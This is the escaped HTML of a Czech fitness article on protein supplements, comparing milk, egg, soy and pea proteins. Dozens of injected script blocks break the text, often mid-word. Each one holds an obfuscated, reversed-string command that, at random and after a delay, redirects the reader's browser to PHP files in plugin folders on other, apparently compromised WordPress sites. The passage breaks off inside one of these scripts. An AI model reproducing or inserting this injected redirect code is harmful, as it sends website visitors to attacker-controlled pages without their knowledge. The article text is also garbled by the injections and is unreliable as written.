<\/strong>Mezi nej\u010dast\u011bji uv\u00e1d\u011bn\u00e9 indexy pat\u0159\u00ed Biologick\u00e1 hodnota (BV) a index PDCAAS, p\u0159i\u010dem\u017e nejvy\u0161\u0161\u00ed mo\u017en\u00e1 hodnota pro BV je 100, pro PDCAAS je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to 1,0. \u010c\u00edm vy\u0161\u0161\u00ed index dan\u00e1 b\u00edlkovina m\u00e1, t\u00edm vy\u0161\u0161\u00ed je jej\u00ed kvalita.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u010c\u00edm se li\u0161\u00ed zdroje b\u00edlkovin v\u00a0proteinov\u00fdch n\u00e1poj\u00edch?<\/strong><\/p>\n<p>Proteinov\u00fd n\u00e1poj m\u016f\u017eete vyrobit prakticky z\u00a0jak\u00e9koliv suroviny, kter\u00e1 p\u0159irozen\u011b obsahuje b\u00edlkoviny. A pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u017ee je mo\u017en\u00e9 na trhu narazit t\u0159eba i na bramborov\u00fd protein (brambory obsahuj\u00ed p\u0159irozen\u011b asi 2 g b\u00edlkovin na 100 g), slovo <em>jak\u00e9koliv <\/em>situaci skute\u010dn\u011b vystihuje.<\/p>\n<p>To jsou ov\u0161em sp\u00ed\u0161e takov\u00e9 speciality, kter\u00e9 rozhodn\u011b ve spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00ed v\u00fd\u017eiv\u011b nijak nedominuj\u00ed. T\u011bch klasick\u00fdch a hojn\u011b prod\u00e1van\u00fdch zdroj\u016f protein\u016f je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e ve skute\u010dnosti jenom p\u00e1r a my si je v\u00a0n\u00e1sleduj\u00edc\u00edch odstavc\u00edch p\u0159edstav\u00edme trochu detailn\u011bji.<\/p>\n<p><strong>#1 mezi\u00a0proteinov\u00fdmi suplementy \u2013 ml\u00e9\u010dn\u00e9 proteiny<img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-475 alignright\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/05\/web21-221x300.jpg\" alt=\"\" width=\"221\" height=\"300\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/05\/web21-221x300.jpg 221w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/05\/web21-768x1042.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/05\/web21-755x1024.jpg 755w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/05\/web21.jpg 800w\" sizes=\"auto, (max-width: 221px) 100vw, 221px\" \/><\/strong><\/p>\n<p>Pokud p\u0159ijdete do posilovny a objedn\u00e1te si na baru jeden proteinov\u00fd koktejl po tr\u00e9ninku, na 99 % v\u00e1m bude nam\u00edch\u00e1n pr\u00e1v\u011b ml\u00e9\u010dn\u00fd protein. Ml\u00e9\u010dn\u00e9 proteiny jsou ve fitness pr\u016fmyslu zna\u010dn\u011b obl\u00edben\u00e9, a <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to nejen pro svou p\u0159\u00edjemnou chu\u0165, ale tak\u00e9 pro vynikaj\u00edc\u00ed nutri\u010dn\u00ed vlastnosti. V\u00a0praxi rozezn\u00e1v\u00e1me dva z\u00e1kladn\u00ed druhy ml\u00e9\u010dn\u00fdch protein\u016f, kter\u00e9 se mezi sebou pom\u011brn\u011b z\u00e1sadn\u011b li\u0161\u00ed:<\/p>\n<ul>\n<li><strong>Syrov\u00e1tkov\u00fd protein<\/strong> ( WPC nebo WPI) je zdrojem b\u00edlkovin z\u00a0ml\u00e9\u010dn\u00e9 syrov\u00e1tky. Velmi rychle se tr\u00e1v\u00ed a vst\u0159eb\u00e1v\u00e1, a tak je ide\u00e1ln\u00edm zdrojem b\u00edlkovin po silov\u00e9m \u010di jin\u00e9m spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00edm tr\u00e9ninku.<\/li>\n<li><strong>Kasein<\/strong> je druh\u00fdm typem b\u00edlkoviny, kter\u00fd se vyskytuje v\u00a0ml\u00e9ku. Oproti syrov\u00e1tkov\u00e9mu proteinu se tr\u00e1v\u00ed podstatn\u011b pomaleji, n\u011bkter\u00e9 zdroje hovo\u0159\u00ed o celkov\u00e9 d\u00e9lce tr\u00e1ven\u00ed 6\u20138 hodin. Z\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho d\u016fvodu se \u010das<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to pou\u017e\u00edv\u00e1 v proteinov\u00fdch ka\u0161\u00edch, jako n\u00e1hrada stravy nebo jako no\u010dn\u00ed protein.<\/li>\n<\/ul>\n<p><strong>Vaje\u010dn\u00fd albumin \u2013 dal\u0161\u00ed vysoce kvalitn\u00ed zdroj b\u00edlkovin<\/strong><\/p>\n<p>Vaje\u010dn\u00e1 b\u00edlkovina je po nutri\u010dn\u00ed str\u00e1nce v\u00a0t\u011bsn\u00e9m z\u00e1v\u011bsu za ml\u00e9\u010dn\u00fdmi proteiny, a tak p\u0159edstavuje vynikaj\u00edc\u00ed zdroj b\u00edlkovin s\u00a0vysokou vst\u0159ebatelnost\u00ed. Vaje\u010dn\u00fd albumin pat\u0159\u00ed mezi vysoce kvalitn\u00ed zdroje b\u00edlkovin, ale oproti syrov\u00e1tkov\u00e9mu koncentr\u00e1tu je jeho tr\u00e1ven\u00ed podstatn\u011b pomalej\u0161\u00ed, a tak nen\u00ed \u00fapln\u011b vhodn\u00fd pro dopln\u011bn\u00ed b\u00edlkovin ihned po silov\u00e9m tr\u00e9ninku. Naproti <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu sv\u00e9 m\u00eds<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to nalezne v\u00a0proteinov\u00fdch ka\u0161\u00edch, v\u00a0proteinov\u00fdch n\u00e1hra\u017ek\u00e1ch hlavn\u00edch j\u00eddel nebo jako sou\u010d\u00e1st kvalitn\u00edch v\u00edceslo\u017ekov\u00fdch protein\u016f.<\/p>\n<p><strong>Rostlinn\u00e9 zdroje b\u00edlkovin jsou zpravidla m\u00e9n\u011b kvalitn\u00ed<\/strong><\/p>\n<p>Oproti ml\u00e9\u010dn\u00fdm protein\u016fm \u010di vaje\u010dn\u00e9mu albuminu maj\u00ed <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e ni\u017e\u0161\u00ed zas<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toupen\u00ed esenci\u00e1ln\u00edch aminokyselin a nav\u00edc jsou zpravidla h\u016f\u0159e straviteln\u00e9. I tak ale mohou b\u00fdt solidn\u00edm zdrojem b\u00edlkovin a v\u00a0n\u011bkter\u00fdch p\u0159\u00edpadech se svou kvali<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou \u017eivo\u010di\u0161n\u00fdm zdroj\u016fm b\u00edlkovin alespo\u0148 p\u0159ibli\u017euj\u00ed. Za nejobl\u00edben\u011bj\u0161\u00ed zdroje rostlinn\u00fdch b\u00edlkovin m\u016f\u017eeme pova\u017eovat:<\/p>\n<ul>\n<li><strong>S\u00f3jov\u00fd proteinov\u00fd izol\u00e1t<\/strong> \u2013 pat\u0159\u00ed mezi nejl\u00e9pe vyu\u017eiteln\u00e9 zdroje rostlinn\u00fdch b\u00edlkovin, podle n\u011bkter\u00fdch krit\u00e9ri\u00ed je dokonce srovnateln\u00fd s\u00a0ml\u00e9\u010dn\u00fdmi proteiny. Hod\u00ed se p\u0159edev\u0161\u00edm po silov\u00e9m \u010di jin\u00e9m spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00edm tr\u00e9ninku.<\/li>\n<li><strong>Hrachov\u00fd proteinov\u00fd koncentr\u00e1t<\/strong> vynik\u00e1 svou osobi<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou chut\u00ed, kter\u00e1 ne ka\u017ed\u00e9mu spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), 